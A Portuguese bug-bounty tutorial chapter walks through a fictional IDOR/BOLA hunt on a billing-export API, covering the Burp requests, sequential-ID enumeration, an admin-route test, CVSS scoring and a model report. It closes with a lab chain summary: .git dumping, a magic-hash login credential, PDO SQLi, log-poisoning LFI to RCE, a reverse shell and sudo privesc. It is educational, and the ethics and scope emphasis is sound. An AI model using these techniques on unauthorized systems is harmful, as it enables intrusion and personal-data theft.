PDF aberto: **nome, documento e valores de um cliente que não sou eu.** Para de tudo. Isso é um **IDOR/BOLA** confirmado: o caminho "principal" valida dono, mas o caminho de `export` esqueceu — e como ele me devolve um token assinado, o download nem precisa

revalidar. A falha de fundo é **autorização ausente no endpoint de export**, mascarada por um token que parecia "seguro".

> **Por que o `?ref=` dava 403 e o `export` não?** Times grandes implementam autorização **endpoint a endpoint**, não centralizado. Alguém lembrou de checar dono no `GET`, esqueceu no `POST /export`. É o padrão de raiz de quase todo BOLA: a checagem **não é por objeto, em todo lugar**.

Fase 4 — Medir impacto e provar escala

Achar uma falha é metade; o **dinheiro está no impacto**, e impacto = *dado sensível* + *escala* (capítulo 02 — Severidade & Impacto). Um único PDF é "um caso"; mil PDFs é "vazamento de PII em massa".

O `ref` é **sequencial** (`88212`, `88213`...). Logo, dá pra enumerar. Mas com **disciplina ética e de escopo**: o programa pede máx. ~5 req/s e proíbe scanning agressivo. Então uso o **Burp Intruder** em modo `Sniper` (varia uma posição por vez) com **throttle**, e só o suficiente pra **provar o conceito** — não pra baixar a base inteira de ninguém.

```
POST /v1/billing/statement/export HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>
Content-Type: application/json

{"ref":"§88200§","format":"pdf"}   # Intruder: payload numérico 88200–88230
```

Configuro: payload type *Numbers*, de `88200` a `88230` (faixa pequena, ~30 requests), com *Resource pool* limitando a concorrência e um delay → fica abaixo dos 5 req/s. Resultado: **a maioria responde `200`** com `downloadToken` distinto. Trinta refs sequenciais, trinta tokens válidos de extratos diferentes. **Está provado que é enumerável** — e eu paro por aí, porque trinta já demonstram o padrão sem precisar tocar em dado de cliente real em volume.

> **Não enumere a base inteira.** Provar com uma faixa pequena (e parar) demonstra o impacto. Baixar milhares de PDFs de PII real é, na melhor das hipóteses, antiético e fora do escopo; na pior, ilegal. O triador entende "30 refs sequenciais retornam 200" como prova de escala — você não precisa do banco todo.

O que a tela do Burp mostraria: aba *Intruder* → *Results* com a coluna *Status* cheia de `200` para payloads sequenciais (`88201`, `88202`, ...) e *Length* variando (PDFs diferentes); ao lado, um Repeater com a Response do `export` mostrando um `downloadToken` cujo `ref` decodificado não pertence à conta logada — o `ref` trocado destacado em vermelho.

Severidade: vazamento de PII financeira (extratos com nome/documento) acessível por qualquer cliente autenticado, em escala (IDs sequenciais). Pelo CVSS (o padrão de mercado que vira uma nota de 0 a 10 pra ranquear a gravidade de uma falha), confidencialidade alta, sem privilégio especial, sem interação da vítima → faixa **High/Critical** (o vetor CVSS v3.1 e o v4.0 fechados eu coloco no report, na Fase 6). Em programas reais, esse perfil paga de **alguns milhares a dezenas de milhares de reais**, conforme o programa.

Fase 5 — Talvez encadear (chaining)

Antes de reportar, sempre pergunto: **essa primitiva destrava outra coisa?** Encadear é o que transforma um High num Critical (a arte do encadeamento tem capítulo próprio — 26 — Chaining).

Reviso minhas anotações dos becos sem saída — porque becos viram elos:

- **Beco #2 (relatório exige plano Business)** + a lógica de planos. Se existir um fluxo que muda o plano da conta sem validar pagamento (um clássico business logic), eu "viro Business" de graça e **destravo o** `POST /reports/download` — que provavelmente vaza PII de *vários* clientes de uma vez (relatório agregado), elevando o impacto.
- **A rota** `/v1/admin/accounts/block` vista no JS. Se ela aceitar o token de um usuário comum, é **BFLA** (ação crítica: bloquear contas alheias). Vale um teste rápido.

Testo a rota de admin com o token comum (Conta A, sem privilégio):

```
POST /v1/admin/accounts/block HTTP/2
Host: api.exemplo.com
Authorization: Bearer <token_Conta_A>   # <- usuário comum, sem privilégio
Content-Type: application/json

{"accountId": 88212}
```

```
HTTP/2 403 Forbidden
{"error":"admin_scope_required"}
```

`403` — **aqui a autorização de função está certa.** (Nota de detalhe: como a Conta A *está autenticada* e só lhe falta o privilégio de admin, o correto é `403 Forbidden`, não `401 Unauthorized` — `401` é "não sei quem você é", `403` é "sei quem você é, mas você não pode".) Beco. Sem problema: testei, documentei mentalmente, segui. Nem todo fio vira nó.

Decisão da Fase 5: o IDOR no `export` já é um achado **forte e autossuficiente**. A cadeia "burlar plano → download de relatórios" exigiria confirmar primeiro a falha de plano (outra investigação). Decido **reportar o IDOR agora** (achado sólido, alto impacto, não corro risco de outro hunter reportar antes) e, em paralelo, investigar a falha de plano como **report separado** se ela se confirmar. Sentar em cima de um Critical esperando "a cadeia perfeita" é como muitos perdem o bug pra um duplicado.

> Lição transferível: **reporte o que já está sólido.** Encadear é ótimo, mas um Critical no caixa hoje vale mais que um "talvez Critical maior" que vira duplicado amanhã.

Fase 6 — Escrever o report que paga

A falha está provada. Agora vem a parte que **separa quem acha de quem recebe**: comunicar pro programa de um jeito que o triador entenda o risco em 30 segundos e não tenha o que questionar. A estrutura completa está no capítulo 03 — Como escrever um report que paga; aqui está o report desta caçada, no formato que funciona:

Título: `[IDOR/BOLA] Exposição de extratos financeiros (PII) via endpoint de export sem checagem de dono`

Resumo (o risco pro negócio):

> Qualquer cliente autenticado consegue baixar o extrato financeiro (PDF com nome e documento) de **qualquer outro cliente**, apenas trocando o parâmetro `ref` no endpoint `POST /v1/billing/statement/export`. Como o `ref` é sequencial, a falha é **enumerável em escala**, configurando vazamento massivo de PII e violação de privacidade (LGPD — a lei brasileira de proteção de dados pessoais, que obriga a empresa a guardar bem esses dados). O endpoint de leitura (`GET /statement`) valida o dono, mas o de export **não** — e ele assina um `downloadToken` que o download aceita sem revalidar.

Severidade: High → Critical — confidencialidade de PII financeira, sem privilégio especial, em escala. (Como medir: capítulo 02.)

> - **CWE-639** — Authorization Bypass Through User-Controlled Key.
> - **CVSS v3.1:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` → **6.5 (Medium)** é o piso pela leitura de um objeto. Como o acesso cruza a fronteira de **outras contas**, defendo **`S:C`** (*Scope Changed*): `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` → **7.7 (High)**.
> - **CVSS v4.0 (CVSS-B):** `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N` → **7.1 (High)**. (A v4.0 não tem `Scope` ; o vazamento fica na confidencialidade do **sistema vulnerável** — `VC:H` , sem impacto subsequente. Recalcule sempre na calculadora v4.0.)
> - **Argumento de subida:** somando **escala** (base inteira via `ref` sequencial) + **sensibilidade** (extrato com nome/documento, sob LGPD), o impacto de negócio é tratado como **Critical** pela maioria dos programas — é o número que defendo no Impacto.

Passos para reproduzir (numerados, qualquer um repete):

> 1. Autenticar como **Conta A** (cliente comum). Abrir um extrato e capturar a chamada `POST /v1/billing/statement/export` com o seu `ref` (PRINT 1).
> 2. No Burp Repeater, **trocar o `ref` pelo de outro cliente** (ex.: decrementar). O servidor retorna `200` com um `downloadToken` válido para o `ref` alheio (PRINT 2): ```http POST /v1/billing/statement/export HTTP/2 Host: api.exemplo.com Authorization: Bearer Content-Type: application/json
>
> {"ref":"88212","format":"pdf"} `` 3. Acessar a url retornada (GET /files/.pdf) — o PDF é o extrato de **outro cliente**, com nome e documento (PRINT 3). 4. **Escala:** no Intruder (Sniper, ref numérico, faixa pequena 88200–88230, com throttle ≤5 req/s), a maioria retorna 200` com tokens distintos, comprovando enumeração sequencial (PRINT 4).

Impacto: vazamento de PII financeira de toda a base de clientes; risco de fraude, phishing direcionado e violação de LGPD.

Correção sugerida: validar a propriedade do recurso **no endpoint de export** (e em todo endpoint que receba `ref`), não só no `GET`:
`WHERE ref = ? AND owner_id = <usuário_da_sessão>`. Trocar IDs sequenciais por UUID **não substitui** a checagem de dono (capítulo 10).

Por que esse report passa fácil na triagem (lições dos posts 02 e 03):

- **Resumo fala de risco ao negócio**, não de detalhe técnico solto. O triador entende o estrago em uma frase.
- **Passos reproduzíveis ao nível de "qualquer um repete"**, com a request exata e indicação de onde cada print entra.
- **Escala demonstrada** com sobriedade (faixa pequena), sem ter torrado a base de PII de ninguém.
- **Correção sugerida** mostra que você entendeu a raiz — e ajuda o time a fechar rápido (triagem feliz, bounty mais rápido).
- **Certeza absoluta da falha antes de enviar.** Report meia-boca gera ida e volta; report redondo vira "Triaged" no mesmo dia.

Recap: como cada capítulo do guia apareceu nesta caçada

Fase da caçada	O que usei	Capítulo do guia
Ler escopo, mindset, HTTP, Burp	Fundamentos, autn × autz	00
Subdomínios, httpx, gau, **JS analysis**	Mapear superfície	01
Achar o IDOR/BOLA (export + token reuse)	A falha em si	10 · 25

Fase da caçada	O que usei	Capítulo do guia
Pista de "virar Business sem pagar"	Falha de fluxo/regra	20
Pensar em encadear becos → impacto maior	Chaining	26
Medir CVSS, definir High/Critical	Severidade & impacto	02
Escrever o report redondo	Comunicação que paga	03

O guia inteiro é exatamente este fluxo, fatiado em capítulos. Esta caçada foi o filme com tudo junto.

As lições transferíveis (o mindset que fica)

Decore *isto*, não os comandos:

1. **O escopo é o tabuleiro.** Lê primeiro, sempre. Ele te diz onde o ouro paga e onde você não pode pisar.
2. **Recon define o tamanho do seu jogo.** A falha mora no subdomínio esquecido e no arquivo JS — leia o JS **linha por linha**, não só extraia paths.
3. **Becos sem saída são dados, não fracassos.** Um `403` te ensina *onde* a aplicação valida — e a próxima pergunta é "onde ela esquece?".
4. **A checagem de autorização raramente é uniforme.** Se o `GET` valida dono, teste o `POST`, o `export`, o `PUT`. O bug está no endpoint que o dev esqueceu.
5. **"Seguro" pode ser uma ilusão.** Um token assinado/criptografado que a *própria API* te entrega pode ser só um IDOR de luxo. Você reusa, não quebra.
6. **Impacto = dado sensível × escala** — e você prova a escala com **sobriedade**, não destruindo a base de ninguém.
7. **Reporte o que está sólido.** Encadear é arte, mas um Critical hoje vale mais que um "talvez maior" que duplica amanhã.
8. **O report é metade do trabalho.** Quem comunica risco em uma frase e dá passos reproduzíveis recebe primeiro.

E o meta-mindset que costura tudo: **analise o fluxo, não rode só checklist.** A maioria joga mil ferramentas e segue lista. O diferencial não está no *que você olha*, e sim no *que você percebe* — o padrão invisível que só aparece quando você para e pensa "peraí, por que essa request me devolveu isso?".

> **Dica de ouro do finale:** toda caçada boa é uma sequência de **perguntas melhores**. "E se eu trocar esse número?" abre a porta. "Por que *aqui* deu 403 e *ali* não?" é o que paga.

Como aplicar — checklist da caçada completa

- [ ] Li o **escopo** inteiro: in/out-scope, rate limit, o que paga, o que é proibido.
- [ ] Criei **2 contas** (perfis diferentes) antes de testar acesso.
- [ ] Recon: subdomínios (passivo → ativo), httpx, gau, e **li os arquivos JS linha por linha**.
- [ ] Loguei autenticado e deixei o Burp gravando o **HTTP history** como mapa real.
- [ ] Priorizei a superfície por **(impacto × baixo esforço de confirmar)**.
- [ ] Tratei cada `403` / `401` como **dado**: anotei onde a app valida e onde pode esquecer.
- [ ] Testei o identificador em **GET, POST, export, PUT** e no **corpo/headers** (não só na URL).
- [ ] Desconfiei de **tokens/valores "protegidos" que a própria API devolve** (reuso ≠ quebra).
- [ ] Provei **escala** com uma faixa pequena e **throttle** — sem torrar PII real.
- [ ] Procurei **chaining** entre os becos antes de reportar.
- [ ] Escrevi o report: **título padronizado, resumo de risco, passos reproduzíveis, impacto, correção.**
- [ ] Tive **certeza absoluta** da falha antes de enviar.

Estudo de caso real: a máquina CyberWaf (HackingClub)

A caçada acima é fictícia (pra ensinar o *método*). Pra ver as mesmas peças numa cadeia **real e reproduzível**, vale destrinchar a máquina **CyberWaf** da HackingClub — um lab autorizado. Repare como quase todo capítulo deste guia aparece, um puxando o outro:

1. **Recon (Recon & Discovery).** O `nmap` acha as portas; o IP redireciona pra `cyberwaf.hc` (entra no `/etc/hosts`). Fuzzing de **vhost** (`ffuf -H "Host: FUZZ.cyberwaf.hc"`) revela o subdomínio `admin.`.
2. **`.git` exposto → código-fonte (Security Misconfiguration).** O `ffuf` acha `/.git/`; o `git-dumper` baixa o repositório inteiro; `git log` entrega um usuário válido (`aurora@cyberwaf.hc`). Vira **whitebox**.
3. **Auth bypass por type juggling (Account Takeover).** O login compara `md5($senha) == $hash` com `==` (loose) e o hash armazenado é um **magic hash** → `aurora : QNKCDZO` autentica sem a senha real.
4. **SQLi mesmo com PDO (SQL Injection).** O endpoint usa prepared statement, mas o **nome da coluna** vem do usuário; confundindo o parser do PDO (placeholder + byte nulo) dá pra enumerar o `information_schema` e extrair a tabela `users` → outro hash MD5, quebrado no CrackStation → login privilegiado.
5. **LFI → RCE via log poisoning do WAF (LFI/Path Traversal).** A rota `/admin` inclui um arquivo `.log` controlável (LFI restrito a `.log`). O alvo roda **ModSecurity**: o WAF bloqueia o payload mas o **grava** no `modsec_audit.log` → você envenena o log *através do WAF* e o inclui → **RCE** como `www-data` → reverse shell.
6. **Pós-exploração (já fora do "web", mas pro panorama).** O `www-data` acha um **socket de SSH agent** esquecido em `/tmp` (`SSH_AUTH_SOCK`) → vira o usuário `aurora`

por SSH. E `sudo -l` mostra `/usr/bin/below` executável como root → **CVE-2025-27591** (privesc por *symlink* no log do `below`) → **root**.

A lição do capstone se confirma: **bug isolado é degrau; o impacto mora no encadeamento.** Cada elo aqui tem um capítulo dedicado neste guia — e a cadeia inteira partiu de um `.git` esquecido.

Nota ética

Tudo aqui é pra **alvos autorizados** — programas de bug bounty dentro do escopo, pentests contratados e labs legais. O `app.exemplo.com` é fictício; os dados, inventados. Repare que até *na narrativa* eu respeitei o rate limit e parei a enumeração ao provar o conceito — isso não é só etiqueta, é parte da regra do jogo: enumerar a base inteira de PII real, mesmo num programa, te tira do programa e pode ser crime (no Brasil, art. 154-A do CP). Pratique em PortSwigger Academy, DVWA, TryHackMe, HackTheBox e HackingClub à vontade — lá você quebra tudo sem culpa. Use pra **proteger**, reportar com responsabilidade e ensinar.

Referências

- OWASP API1:2023 — Broken Object Level Authorization (BOLA)
- OWASP A01:2021 — Broken Access Control
- OWASP WSTG — Testing for BOLA (API)
- PortSwigger — Access control vulnerabilities
- PortSwigger — Business logic vulnerabilities
- PortSwigger Web Security Academy — All labs (gratuito)
- reddelexc/hackerone-reports — Top IDOR reports

Fechamento

Se você leu até aqui, já tem o repertório de um caçador completo: enxerga o HTTP por trás de cada clique, faz recon, reconhece cada classe de falha, sabe explorar com responsabilidade, **encadear** o que parecia pequeno e **reportar** de um jeito que paga. O que falta agora não está em texto nenhum — é **repetição em lab e em programas reais autorizados**. Escolhe uma classe, abre o PortSwigger Academy, e vai.

> **Nota ética final.** Tudo aqui é pra **proteger**. Só toque em alvos autorizados (programas de bug bounty/pentest com permissão e labs legais), confirme o impacto com o mínimo necessário e **pare** — nunca exfiltre dado real. É isso que separa pesquisador de invasor.

Bons bugs! — *matheuslaidler.github.io*